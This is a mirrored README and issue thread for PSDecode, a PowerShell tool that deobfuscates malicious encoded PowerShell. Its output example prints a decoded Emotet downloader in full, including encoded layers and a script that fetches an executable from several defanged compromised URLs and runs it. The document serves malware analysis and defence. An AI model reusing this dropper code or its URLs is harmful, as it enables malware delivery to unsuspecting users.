Giter Club home page Giter Club logo

psdecode's Introduction

PSDecode

This is a PowerShell script for deobfuscating other encoded PowerShell scripts. Often, malicious PowerShell scripts have several layers of encodings (Replace, Base64Decode, etc...) that, once decoded, are executed via a call to Invoke-Expression (IEX, &, .), Invoke-Command, etc... This script employs a technique called method overriding that enables us to essentially intercept calls to functions that I have accounted for within this script and print out the arguments being passed to it (a.k.a what the script was trying to execute).

** Important Note #1: Only run this script within an isolated sandbox. If the encoded powershell attempts to execute a function which I have not accounted for, there is a chance it could execute**

** Important Note #2: The default execution policy for PowerShell is Restricted and if you dont use PowerShell a lot, chances are when you go to run this script, it will give you an error stating "PSDecode cannot be loaded because the execution of scripts is disabled on this system". If you receive this message, you'll need to change you execution policy to Unrestricted either temporarility or permanantly. The simplest way is to open a PowerShell command prompt as Administrator and run: set-executionpolicy unrestricted**

To Install

Windows

  1. Create a directory named PSDecode within $PSHome\Modules
  2. Copy PSDecode.psm1 into $PSHome\Modules\PSDecode\
  3. Open a new instance of PowerShell

Linux

  1. Run the following command to identify the different paths specified within the PSModulePath environement variable:
    • printenv PSModulePath
    • Example Output: /home/R3MRUM/.local/share/powershell/Modules:/usr/local/share/powershell/Modules:/snap/powershell/77/opt/powershell/Modules
    • Everyone's setup is different but you'll most likely want to use the path within your user directory
  2. Create a directory named PSDecode within your chosen PSModulePath directory:
    • mkdir ~/.local/share/powershell/Modules/PSDecode
  3. Move PSDecode.psm1 into this newly created directory
  4. Open a new instance of PowerShell

Help

In a PowerShell console, run Get-Help PSDecode -Detailed

To Run

  1. Option #1 [Pass encoded PowerShell via File]:
 > PSDecode .\encoded_ps.ps1
  1. Option #2 [Pass encoded PowerShell via PIPE]:
 > Get-Content .\encoded_ps.ps1 | PSDecode 

Output Example

PSDecode -dump -beautify -verbose .\evil.ps1

VERBOSE: Input received from file: .\evil.ps1
VERBOSE: Calculating MD5 of input
VERBOSE: MD5: 5248e611bedd8bfdd9d2f561179d821a
VERBOSE: Detecting encoding type...
VERBOSE: Encoding detected: ASCII
VERBOSE: Testing input to see if Base64 encoded
VERBOSE: Input was Base64 encoded. Decoding was successful. Saved original Base64 encoded string as layer
VERBOSE: Performing code cleanup on initial script
VERBOSE: 7 Non-escape characters detected... Removing
VERBOSE: Replacing: ."spLit"(	With: .spLit(
VERBOSE: Replacing: ."DowNlOADFILE"(	With: .DowNlOADFILE(
VERBOSE: Replacing: ("{0}{1}"-f 'AB','kDA')	With: ABkDA
VERBOSE: Replacing: ("{1}{0}" -f 'o4','Xc')	With: Xco4
VERBOSE: Replacing: ("{0}{1}" -f '.','exe')	With: .exe
VERBOSE: Replacing: ("{0}{1}" -f'CUQ','4')	With: CUQ4
VERBOSE: Replacing: ("{0}{1}"-f'j','cwC')	With: jcwC
VERBOSE: Replacing: ("{0}{1}{2}"-f 'dj.','com','/c')	With: dj.com/c
VERBOSE: Replacing: ("{0}{2}{1}"-f 'io','om','.c')	With: io.com
VERBOSE: Replacing: ("{1}{0}"-f'om/w','c')	With: com/w
VERBOSE: Replacing: ("{1}{0}" -f 'rn','te')	With: tern
VERBOSE: Replacing: ("{1}{0}" -f't','://ma')	With: ://mat
VERBOSE: Replacing: ("{1}{0}"-f'i','s/5Yx')	With: s/5Yxi
VERBOSE: Replacing: ("{0}{3}{1}{2}"-f 'it','Med','ia','e/')	With: ite/Media
VERBOSE: Replacing: ("{1}{0}" -f'etp','/')	With: /etp
VERBOSE: Replacing: ("{0}{1}"-f 'ads','/')	With: ads/
VERBOSE: Replacing: ("{1}{0}" -f '/G6','in')	With: in/G6
VERBOSE: Replacing: ("{0}{1}" -f 'ds.c','o')	With: ds.co
VERBOSE: Replacing: ("{0}{1}" -f'ome','na')	With: omena
VERBOSE: Replacing: ("{1}{0}"-f 'p','htt')	With: hxxp
VERBOSE: Replacing: ("{1}{0}"-f 'dm','-a')	With: -adm
VERBOSE: Replacing: ("{0}{1}"-f 'om','/S')	With: om/S
VERBOSE: Replacing: ("{0}{1}" -f'4/@','ht')	With: 4/@ht
VERBOSE: Replacing: ("{1}{0}{2}{3}"-f 'rd','/wo','pre','ss')	With: /wordpress
VERBOSE: Replacing: ("{1}{0}"-f'n/KC','i')	With: in/KC
VERBOSE: Replacing: ("{0}{1}"-f'tt','ps')	With: ttps
VERBOSE: Replacing: ("{1}{0}" -f'po','ne')	With: nepo
VERBOSE: Replacing: ("{1}{0}{2}"-f 'www','://','.')	With: ://www.
VERBOSE: Replacing: ("{1}{2}{0}"-f 'aud','w','er')	With: weraud
VERBOSE: Replacing: ("{0}{1}"-f'na','l.c')	With: nal.c
VERBOSE: Replacing: ("{0}{1}" -f'rim','ew')	With: rimew
VERBOSE: Replacing: ("{0}{1}"-f 'l','thyt')	With: lthyt
VERBOSE: Replacing: ("{1}{0}"-f '/he','/')	With: //he
VERBOSE: Replacing: ("{2}{1}{0}" -f 'nt','e','ont')	With: ontent
VERBOSE: Replacing: ("{1}{0}" -f'//','p:')	With: p://
VERBOSE: Replacing: ("{0}{1}"-f'UAA','w')	With: UAAw
VERBOSE: Replacing: ("{1}{0}"-f 'U','AUD')	With: AUDU
VERBOSE: Replacing: ("{2}{0}{1}"-f'41A','Qc','O')	With: O41AQc
VERBOSE: Replacing: ("{1}{0}"-f 'D','oBc')	With: oBcD
VERBOSE: Replacing: ("{0}{2}{1}"-f'TAA','x1','A')	With: TAAAx1
VERBOSE: Replacing: ("{0}{1}" -f 'KA','ABkDA')	With: KAABkDA
VERBOSE: Replacing: ("{0}{1}" -f'B','Xco4')	With: BXco4
VERBOSE: Replacing: ("{1}{0}" -f 'CUQ4','jcwC')	With: jcwCCUQ4
VERBOSE: Replacing: ("{0}{1}{2}"-f 'com/w','p','-c')	With: com/wp-c
VERBOSE: Replacing: ("{0}{1}"-f'tern','a')	With: terna
VERBOSE: Replacing: ("{1}{0}{2}"-f'rix','://mat','in')	With: ://matrixin
VERBOSE: Replacing: ("{3}{2}{1}{0}"-f '/','s/5Yxi','/cs','ite/Media')	With: ite/Media/css/5Yxi/
VERBOSE: Replacing: ("{0}{3}{1}{2}" -f'in/G6','7','/@h','3C')	With: in/G63C7/@h
VERBOSE: Replacing: ("{0}{1}{2}" -f 'w','ar','ds.co')	With: wards.co
VERBOSE: Replacing: ("{1}{0}{2}"-f'/wp','m','-adm')	With: m/wp-adm
VERBOSE: Replacing: ("{1}{0}" -f'tp','4/@ht')	With: 4/@hxxp
VERBOSE: Replacing: ("{7}{1}{2}{5}{8}{3}{6}{0}{4}{9}" -f 'ni','in/KC','/','ttps','nepo','@','://www.','b','h','weraud')	With: bin/KC/@hxxp://www.ninepoweraud
VERBOSE: Replacing: ("{2}{3}{0}{1}"-f 'a','lthyt',':','//he')	With: ://healthyt
VERBOSE: Replacing: ("{2}{1}{0}" -f'p://','tt','@h')	With: @hxxp://
VERBOSE: Replacing: ("{2}{0}{1}" -f'AwD','UAAw','p')	With: pAwDUAAw
VERBOSE: Replacing: ("{0}{1}"-f 'AUDU','D')	With: AUDUD
VERBOSE: Replacing: ("{1}{0}"-f'oBcD','mD')	With: mDoBcD
VERBOSE: Replacing: ("{1}{0}"-f'BXco4','w')	With: wBXco4
VERBOSE: Replacing: ("{19}{35}{12}{28}{18}{17}{20}{14}{32}{30}{34}{10}{37}{29}{4}{36}{7}{15}{31}{13}{9}{6}{38}{33}{2}{1}{0}{26}{3}{25}{23}{24}{22}{8}{5}{16}{27}{21}{11}"-f'gi-','dj.com/c','vi','io.com','com/wp-c','terna','BF/','/','://matrixin','PR','i','ite/Media/css/5Yxi/','/etp','ads/','in/G63C7/@h','up','tio','wards.co','omena','hxxp','m/wp-adm','om/S','4/@hxxp','/','6NA','/wordpress','bin/KC/@hxxp://www.ninepoweraud','nal.c','rimew','.','p','lo','tt','ser','://healthyt','s:/','ontent','ck','@hxxp://')	With: hxxp://etprimewomenawards.com/wp-admin/G63C7/@hxxp://healthytick.com/wp-content/uploads/PRBF/@hxxp://servidj.com/cgi-bin/KC/@hxxp://www.ninepoweraudio.com/wordpress/6NA4/@hxxp://matrixinternational.com/Site/Media/css/5Yxi/
VERBOSE: Replacing: ("{1}{0}"-f'AUDUD','B')	With: BAUDUD
VERBOSE: Replacing: .('Get-Item')	With: Get-Item
VERBOSE: Replacing: .('Invoke-Item')	With: Invoke-Item
VERBOSE: Code cleanup resulted in script modification. Saving original as layer.
VERBOSE: Building decoder
VERBOSE: Base64 encoding decoder
VERBOSE: Executing decoder
VERBOSE: Final layer processed. Successful exit with actions detected
VERBOSE: Processing completed
VERBOSE: Saving layers to C:\Users\REM\AppData\Local\Temp\
VERBOSE: Writing C:\Users\REM\AppData\Local\Temp\5248e611bedd8bfdd9d2f561179d821a_layer_1.txt
VERBOSE: Writing C:\Users\REM\AppData\Local\Temp\5248e611bedd8bfdd9d2f561179d821a_layer_2.txt
VERBOSE: Writing C:\Users\REM\AppData\Local\Temp\5248e611bedd8bfdd9d2f561179d821a_layer_3.txt
VERBOSE: Writing C:\Users\REM\AppData\Local\Temp\5248e611bedd8bfdd9d2f561179d821a_layer_4.txt


############################## Layer 1 ##############################
JABjAGsAXwBBADQAQQA9ACgAIgB7ADAAfQB7ADEAfQAiACAALQBmACAAJwBLAEEAJwAsACgAIgB7ADAAfQB7ADEAfQAiAC0AZgAgACcAQQBCACcALAAnAGsARABBACcAKQApADsAJABRAEEAVQBBAFoARAAgAD0AIAAnADYAMgA1ACcAOwAkAHIARABBAGMAQQBBAD0AKAAiAHsAMQB9AHsAMAB9ACIALQBmACgAIgB7ADAAfQB7ADEAfQAiACAALQBmACcAQgAnACwAKAAiAHsAMQB9AHsAMAB9ACIAIAAtAGYAIAAnAG8ANAAnACwAJwBYAGMAJwApACkALAAnAHcAJwApADsAJABQAEQAawBrAGsAQwBBAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABRAEEAVQBBAFoARAArACgAIgB7ADAAfQB7ADEAfQAiACAALQBmACAAJwAuACcALAAnAGUAeABlACcAKQA7ACQASQBBAEEAQQBVAEQAWgA9ACgAIgB7ADEAfQB7ADAAfQAiACAALQBmACAAKAAiAH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AIgB7ADAAfQB7ADEAfQAiAC0AZgAgACcAbwBtACcALAAnAC8AUwAnACkALAAoACIAewAxAH0AewAwAH0AIgAgAC0AZgAnAHQAcAAnACwAKAAiAHsAMAB9AHsAMQB9ACIAIAAtAGYAJwA0AC8AQAAnACwAJwBoAHQAJwApACkALAAnAC8AJwAsACcANgBOAEEAJwAsACgAIgB7ADEAfQB7ADAAfQB7ADIAfQB7ADMAfQAiAC0AZgAgACcAcgBkACcALAAnAC8AdwBvACcALAAnAHAAcgBlACcALAAnAHMAcwAnACkALAAoACIAewA3AH0AewAxAH0AewAyAH0AewA1AH0AewA4AH0AewAzAH0AewA2AH0AewAwAH0AewA0AH0AewA5AH0AIgAgAC0AZgAgACcAbgBpACcALAAoACIAewAxAH0AewAwAH0AIgAtAGYAJwBuAC8ASwBDACcALAAnAGkAJwApACwAJwAvACcALAAoACIAewAwAH0AewAxAH0AIgAtAGYAJwB0AHQAJwAsACcAcABzACcAKQAsACgAIgB7ADEAfQB7ADAAfQAiACAALQBmACcAcABvACcALAAnAG4AZQAnACkALAAnAEAAJwAsACgAIgB7ADEAfQB7ADAAfQB7ADIAfQAiAC0AZgAgACcAdwB3AHcAJwAsACcAOgAvAC8AJwAsACcALgAnACkALAAnAGIAJwAsACcAaAAnACwAKAAiAHsAMQB9AHsAMgB9AHsAMAB9ACIALQBmACAAJwBhAHUAZAAnACwAJwB3ACcALAAnAGUAcgAnACkAKQAsACgAIgB7ADAAfQB7ADEAfQAiAC0AZgAnAG4AYQAnACwAJwBsAC4AYwAnACkALAAoACIAewAwAH0AewAxAH0AIgAgAC0AZgAnAHIAaQBtACcALAAnAGUAdwAnACkALAAnAC4AJwAsACcAcAAnACwAJwBsAG8AJwAsACcAdAB0ACcALAAnAHMAZQByACcALAAoACIAewAyAH0AewAzAH0AewAwAH0AewAxAH0AIgAtAGYAIAAnAGEAJwAsACgAIgB7ADAAfQB7ADEAfQAiAC0AZgAgACcAbAAnACwAJwB0AGgAeQB0ACcAKQAsACcAOgAnACwAKAAiAHsAMQB9AHsAMAB9ACIALQBmACAAJwAvAGgAZQAnACwAJwAvACcAKQApACwAJwBzADoALwAnACwAKAAiAHsAMgB9AHsAMQB9AHsAMAB9ACIAIAAtAGYAIAAnAG4AdAAnACwAJwBlACcALAAnAG8AbgB0ACcAKQAsACcAYwBrACcALAAoACIAewAyAH0AewAxAH0AewAwAH0AIgAgAC0AZgAoACIAewAxAH0AewAwAH0AIgAgAC0AZgAnAC8ALwAnACwAJwBwADoAJwApACwAJwB0AHQAJwAsACcAQABoACcAKQApAC4AIgBzAHAATABgAGkAdAAiACgAJwBAACcAKQA7ACQAYgBjAEIAQQBRAF8APQAoACIAewAyAH0AewAwAH0AewAxAH0AIgAgAC0AZgAnAEEAdwBEACcALAAoACIAewAwAH0AewAxAH0AIgAtAGYAJwBVAEEAQQAnACwAJwB3ACcAKQAsACcAcAAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABUAEcAQgBRAFUAQgAgAGkAbgAgACQAegB3AFEAQQAxAEIAKQB7AHQAcgB5AHsAJAB1AG8AeAAxAEMAdwAuACIARABvAGAAdwBOAGwATwBgAEEARABGAEkATABFACIAKAAkAFQARwBCAFEAVQBCACwAIAAkAFAARABrAGsAawBDAEEAKQA7ACQAYQBBAFoANABBAEEARABBAD0AKAAiAHsAMQB9AHsAMAB9ACIALQBmACgAIgB7ADAAfQB7ADEAfQAiAC0AZgAgACgAIgB7ADEAfQB7ADAAfQAiAC0AZgAgACcAVQAnACwAJwBBAFUARAAnACkALAAnAEQAJwApACwAJwBCACcAKQA7AEkAZgAgACgAKAAuACgAJwBHACcAKwAnAGUAdAAnACsAJwAtAEkAdABlAG0AJwApACAAJABQAEQAawBrAGsAQwBBACkALgAiAEwARQBgAE4ARwBgAFQASAAiACAALQBnAGUAIAAyADgAMwA5ADcAKQAgAHsALgAoACcASQBuAHYAbwBrACcAKwAnAGUALQBJAHQAZQAnACsAJwBtACcAKQAgACQAUABEAGsAawBrAEMAQQA7ACQAVABBAEIARAA0AFUAQQA9ACgAIgB7ADIAfQB7ADAAfQB7ADEAfQAiAC0AZgAnADQAMQBBACcALAAnAFEAYwAnACwAJwBPACcAKQA7AGIAcgBlAGEAawA7ACQAbQBDAEQAWgBVAEEAPQAoACIAewAxAH0AewAwAH0AIgAtAGYAKAAiAHsAMQB9AHsAMAB9ACIALQBmACAAJwBEACcALAAnAG8AQgBjACcAKQAsACcAbQBEACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAagBaAEIAQwBDAEEAPQAoACIAewAwAH0AewAyAH0AewAxAH0AIgAtAGYAJwBUAEEAQQAnACwAJwB4ADEAJwAsACcAQQAnACkA


############################## Layer 2 ##############################
$ck_A4A=("{0}{1}" -f 'KA',("{0}{1}"-f 'AB','kDA'));$QAUAZD = '625';$rDAcAA=("{1}{0}"-f("{0}{1}" -f'B',("{1}{0}" -f 'o4','Xc')),'w');$PDkkkCA=$env:userprofile+'\'+$QAUAZD+("{0}{1}" -f '.','exe');$IAAAUDZ=("{1}{0}" -f ("{0}{1}" -f'CUQ','4'),("{0}{1}"-f'j','cwC'));$uox1Cw=&('new-o'+'b'+'ject') N`ET.WEbcL`ient;$zwQA1B=("{19}{35}{12}{28}{18}{17}{20}{14}{32}{30}{34}{10}{37}{29}{4}{36}{7}{15}{31}{13}{9}{6}{38}{33}{2}{1}{0}{26}{3}{25}{23}{24}{22}{8}{5}{16}{27}{21}{11}"-f'gi-',("{0}{1}{2}"-f 'dj.','com','/c'),'vi',("{0}{2}{1}"-f 'io','om','.c'),("{0}{1}{2}"-f ("{1}{0}"-f'om/w','c'),'p','-c'),("{0}{1}"-f("{1}{0}" -f 'rn','te'),'a'),'BF/','/',("{1}{0}{2}"-f'rix',("{1}{0}" -f't','://ma'),'in'),'PR','i',("{3}{2}{1}{0}"-f '/',("{1}{0}"-f'i','s/5Yx'),'/cs',("{0}{3}{1}{2}"-f 'it','Med','ia','e/')),("{1}{0}" -f'etp','/'),("{0}{1}"-f 'ads','/'),("{0}{3}{1}{2}" -f("{1}{0}" -f '/G6','in'),'7','/@h','3C'),'up','tio',("{0}{1}{2}" -f 'w','ar',("{0}{1}" -f 'ds.c','o')),("{0}{1}" -f'ome','na'),("{1}{0}"-f 'p','htt'),("{1}{0}{2}"-f'/wp','m',("{1}{0}"-f 'dm','-a')),("{0}{1}"-f 'om','/S'),("{1}{0}" -f'tp',("{0}{1}" -f'4/@','ht')),'/','6NA',("{1}{0}{2}{3}"-f 'rd','/wo','pre','ss'),("{7}{1}{2}{5}{8}{3}{6}{0}{4}{9}" -f 'ni',("{1}{0}"-f'n/KC','i'),'/',("{0}{1}"-f'tt','ps'),("{1}{0}" -f'po','ne'),'@',("{1}{0}{2}"-f 'www','://','.'),'b','h',("{1}{2}{0}"-f 'aud','w','er')),("{0}{1}"-f'na','l.c'),("{0}{1}" -f'rim','ew'),'.','p','lo','tt','ser',("{2}{3}{0}{1}"-f 'a',("{0}{1}"-f 'l','thyt'),':',("{1}{0}"-f '/he','/')),'s:/',("{2}{1}{0}" -f 'nt','e','ont'),'ck',("{2}{1}{0}" -f("{1}{0}" -f'//','p:'),'tt','@h'))."spL`it"('@');$bcBAQ_=("{2}{0}{1}" -f'AwD',("{0}{1}"-f'UAA','w'),'p');foreach($TGBQUB in $zwQA1B){try{$uox1Cw."Do`wNlO`ADFILE"($TGBQUB, $PDkkkCA);$aAZ4AADA=("{1}{0}"-f("{0}{1}"-f ("{1}{0}"-f 'U','AUD'),'D'),'B');If ((.('G'+'et'+'-Item') $PDkkkCA)."LE`NG`TH" -ge 28397) {.('Invok'+'e-Ite'+'m') $PDkkkCA;$TABD4UA=("{2}{0}{1}"-f'41A','Qc','O');break;$mCDZUA=("{1}{0}"-f("{1}{0}"-f 'D','oBc'),'mD')}}catch{}}$jZBCCA=("{0}{2}{1}"-f'TAA','x1','A')


############################## Layer 3 ##############################
$ck_A4A='KAABkDA';$QAUAZD = '625';$rDAcAA='wBXco4';$PDkkkCA=$env:userprofile+'\'+$QAUAZD+'.exe';$IAAAUDZ='jcwCCUQ4';$uox1Cw=&('new-object') NET.WEbcLient;$zwQA1B='hxxp://etprimewomenawards.com/wp-admin/G63C7/@hxxp://healthytick.com/wp-content/uploads/PRBF/@hxxp://servidj.com/cgi-bin/KC/@hxxp://www.ninepoweraudio.com/wordpress/6NA4/@hxxp://matrixinternational.com/Site/Media/css/5Yxi/'.spLit('@');$bcBAQ_='pAwDUAAw';foreach($TGBQUB in $zwQA1B){try{$uox1Cw.DowNlOADFILE($TGBQUB, $PDkkkCA);$aAZ4AADA='BAUDUD';If ((Get-Item $PDkkkCA)."LENGTH" -ge 28397) {Invoke-Item $PDkkkCA;$TABD4UA='O41AQc';break;$mCDZUA='mDoBcD'}}catch{}}$jZBCCA='TAAAx1'


######################### Beautified Layer ##########################
$ck_A4A='KAABkDA';
$QAUAZD = '625';
$rDAcAA='wBXco4';
$PDkkkCA=$env:userprofile+'\'+$QAUAZD+'.exe';
$IAAAUDZ='jcwCCUQ4';
$uox1Cw=&('new-object') NET.WEbcLient;
$zwQA1B='hxxps://etprimewomenawards.com/wp-admin/G63C7/@hxxp://healthytick.com/wp-content/uploads/PRBF/@hxxp://servidj.com/cgi-bin/KC/@hxxps://www.ninepoweraudio.com/wordpress/6NA4/@hxxp://matrixinternational.com/Site/Media/css/5Yxi/'.spLit('@');
$bcBAQ_='pAwDUAAw';
foreach($TGBQUB in $zwQA1B){
	try{
		$uox1Cw.DowNlOADFILE($TGBQUB, $PDkkkCA);
		$aAZ4AADA='BAUDUD';
		If ((Get-Item $PDkkkCA)."LENGTH" -ge 28397) {
			Invoke-Item $PDkkkCA;
			$TABD4UA='O41AQc';
			break;
			$mCDZUA='mDoBcD'}
		}
	catch{
		}
	}
$jZBCCA='TAAAx1'


############################## Actions ##############################
    1. [System.Net.WebClient.DownloadFile] Download From: hxxp://etprimewomenawards.com/wp-admin/G63C7/ --> Save To: C:\Users\REM\625.exe
    2. [Get-Item.length] Returning length of 100000 for: C:\Users\REM\625.exe
    3. [Invoke-Item] Execute/Open: C:\Users\REM\625.exe

Change Log

  • 2019.12.30 [v5.1]
    • Bug Fix: Changed encoded command length check to write to temp file if length of encoded command is less than 8k bytes. The previous value (12190) referred to the max length of script blocks permitted by PowerShell. However, for Windows XP+, the max command-line length is 8191 bytes, which is the value that should be respected. Issue #12
  • 2019.12.12 [v5.0]
    • PowerShell Core Support. Can now run PSDecode on Linux. Tested with PowerShell Core v6.2.3 on Ubuntu 19.04. Should also work on MacOS but this has not been tested. Issue #8
    • Improved regex for string replace resolution function
  • 2019.09.01 [v4.4]
    • Added -x switch to make New-Object override optional, which may result in successful script decoding in times when standard decode fails but at the risk of malicious code execution.
    • Moved help syntax into PSDecode function block so that 'Get-Help PSDecode' properly displays cmdlet help information
  • 2019.08.24 [v4.3]
    • Verbose logging message referenced actions for another function. Updated message to reflect actual action being performed. Reported as Issue #10
  • 2019.07.14 [v4.2]
    • Fix for Issue #9 -dump switch where only a single encoded executable is present resulted in each byte in the executable being written to individual files.
  • 2019.07.07 [v4.1]
    • Added -timeout arg to limit length of time the decoder should run.
    • Added more granular decoder exit code and stderr logic.
    • Added Base64 encoded executable detection and extraction functionality. If a base64 encoded executable is found embedded within a PowerShell script, it will notify you. The executable can be decoded and saved to disk by passing the -dump switch.
    • Added additional code cleanup logic.
  • 2019.07.02
    • Made beautification of final layer optional via -beautify switch because complex scripts can break the beautify logic resulting in even uglier output.
    • Added -verbose switch that prints more details to the console regarding what PSDecode is doing during processing. Should help with troubleshooting.
    • Added -dump switch. When specified, PSDecode will dump all decoded layers out to individual files so that users dont have to copy/paste from console.
    • New-Object override now returns a valid object that was requested if a specific override doesnt exist. Should help to achieve successful detonation rate.
    • Decoder script is now launched using System.Diagnostics.ProcessStartInfo which allows for greater control of processing and error handling. Decoder script errors are now captured and appended to the end of the output as formatted text.
    • Decoder script is now base64 encoded prior to being executed. This preserves the original script text and will reduce failure rates due to strings within double-quotes being pre-maturely evaluated.
    • Existing code-cleanup logic improved and additional code-cleanup logic implemented.
    • Fixed text encoding detection logic.
  • 2019.05.20
    • Added Get-Item override.
    • Implemented string formatting resolver.
    • Automatic input encoding detection. -u switch is no longer required.
    • Can now handle Base64 encoded input.
    • Final layer is now Beautified.
    • DownloadFile action now only takes up a single line in the Actions output.
  • 2018.06.05
    • Included -u switch that users will need to specify if the powershell script they are attempting to decode is Unicode encoded.
    • Updated script to properly handle the presence of whitespace characters wrapped in quotes.
  • 2018.05.30
    • Added better handling of double quotes during script building to eliminate hard failure.
    • Implemented replace function to replace the string concatenation '+' that could be found within a malicious script with an empty string. Eliminates simple obfuscation in layer output.
  • 2018.03.20 - updated script to account for changes made to newest version of Emotet's encoding scheme

psdecode's People

Contributors

r3comp1le avatar r3mrum avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

psdecode's Issues

Stuck at Layer 1

I ran PSDecode against a different Emotet script and the decoder stopped at Layer 1. I then used your example and it too stopped at Layer 1 and exited.
image

(FIXED. READ IT!!!) PSDecode various syntax errors

Hello,
i'm editing this post because i found i FIX.

The error was:
https://pastebin.com/vJPu85nH
when trying to use: import-module PSDecode

On line 164:
IF I OPEN IT WITH NOTEPAD I GET
if($b64_decoded_ascii -match '^(.\x00){8,}’){
IF I OPEN IT WITH Powershell ISE I GET
if($b64_decoded_ascii -match '^(.\x00){8,}’){

The second line of code contains a non ending string
if($b64_decoded_ascii -match '
instead of
if($b64_decoded_ascii -match ''

so it comments a large portion of code below and makes it non working

So the line of code should actually be
if($b64_decoded_ascii -match '^(.\x00){8,}’'){

this will make the program work again

EDIT: actually sometime, randomly, the ISE will show the wrong line... omg this problem is strange...

PSDecode hangs

I am able to get PSDecode module installed such that powershell recognizes it as a module (will run it, tab auto complete, etc).

When I run something like "cat test.ps1 | psdecode", it just hangs... I've tried with a couple different samples, as well as saving off the output "layer1" from your readme.

I'm on Win10, in a VMWare VM.

I've set my execution policy to unrestricted.

The filename or extension is too long error

Program 'powershell.exe' failed to run: The filename or extension is too long
At C:\tools\PSDecode-master\PSDecode.psm1:150 char:28

  •     $encoded_script = (powershell $decoder)
    
  •                        ~~~~~~~~~~~~~~~~~~~.
    

At C:\tools\PSDecode-master\PSDecode.psm1:150 char:9

  •     $encoded_script = (powershell $decoder)
    
  •     ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
    • CategoryInfo : ResourceUnavailable: (:) [], ApplicationFailedException
    • FullyQualifiedErrorId : NativeCommandFailed

Happens when trying to deobfuscate the following malware:
https://www.virustotal.com/#/file/d943bc6dc7614894cc1c741c6c18ac2dbd2c5069f3ab9bc9def5cc2661e54dee/detection

Unexpected token 'if' in expression or statement

Can you help me with this one?

powershell.exe : Unexpected token 'if' in expression or statement.
At C:\Windows\System32\WindowsPowerShell\v1.0\Modules\PSDecode\PSDecode.psm1:150 char:38

  •     $encoded_script = (powershell <<<<  $decoder)
    
    • CategoryInfo : NotSpecified: (Unexpected toke...n or statement.:String) [], RemoteException
    • FullyQualifiedErrorId : NativeCommandError

At line:70 char:308
.
.
.

  • CategoryInfo : ParserError: (if:String) [], ParentContainsError

    RecordException

    • FullyQualifiedErrorId : UnexpectedToken

I cant install ps module

I followed the instructions:

Created a directory
Copied your .psm1
restarted the PS shell

`PS C:> PSDecode -dump -beautify -verbose .\vir.ps1
Имя "PSDecode" не распознано как имя командлета, функции, файла скрипта или выполняемой программы. Проверьте правильность написания имени, а также наличие и правильность пути, после чего повторите попытку.
строка:1 знак:9

  • PSDecode <<<< -dump -beautify -verbose .\vir.ps1
    • CategoryInfo : ObjectNotFound: (PSDecode:String) [], CommandNotFoundException
    • FullyQualifiedErrorId : CommandNotFoundException`

VirtualBox 6.1.18, Windows 7 x32, SP1

You can help me to install your ps module?
Thanks

Code inconsistent in function Clean_Func_Calls

Write-Verbose "[Clean_Func_Calls] Replacing: $($match)`tWith: $($match.ToString().replace('(','').replace(')',''))"

$Command = $Command.Replace($match, $match.ToString().replace('"','').replace("'",''))

In the function Clean_Func_Calls, the verbose logging suggests removing the parentheses and the actual command removes the quotes.

However, I think the code is supposed to remove the backticks from the function names judging by the name "Clean_Func_Calls".

Can this be checked? Thanks

BTW, thanks for this useful tool.

Executing decoder

Hi there,

Thanks for this great work, it is inspiring. But I come across a little issue. For an Emotet sample, the script was giving "Decoder script returned non-zero exit code but no error message was sent to stderr. This is likely the result of the malware intentionally terminating its own execuion rather than some kind of decoding failure". Since I knew that wasn't the case I tried to debug it. I don't know PS very well, so I disabled the $b64_decoder.length control and wrote the decoder-script in a temp file for debugging and surprise. That script from the temp file worked as expected.

So this code does not work for me which starts the process using EncodedCommand param:

        if($b64_decoder.length -le 12190){
            $pinfo.Arguments = "-EncodedCommand $($b64_decoder)"
        }
        else{
            $tmp_file = [System.IO.Path]::GetTempPath() + [GUID]::NewGuid().ToString() + ".ps1"; 
            Write-Verbose "Output script is too large. Writing temp file to: $($tmp_file)"
            Base64_Decode($b64_decoder) | Out-File $tmp_file
            $pinfo.Arguments = "-File $($tmp_file)"
        }

But, this one works which starts the process using a temp file:

        #if($b64_decoder.length -le 12190){
        #    $pinfo.Arguments = "-EncodedCommand $($b64_decoder)"
        #}
        #else{
		$tmp_file = [System.IO.Path]::GetTempPath() + [GUID]::NewGuid().ToString() + ".ps1"; 
		Write-Verbose "Output script is too large. Writing temp file to: $($tmp_file)"
		Base64_Decode($b64_decoder) | Out-File $tmp_file
		$pinfo.Arguments = "-File $($tmp_file)"
        #}

What could be the reason for that, do you have any suggestions?

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

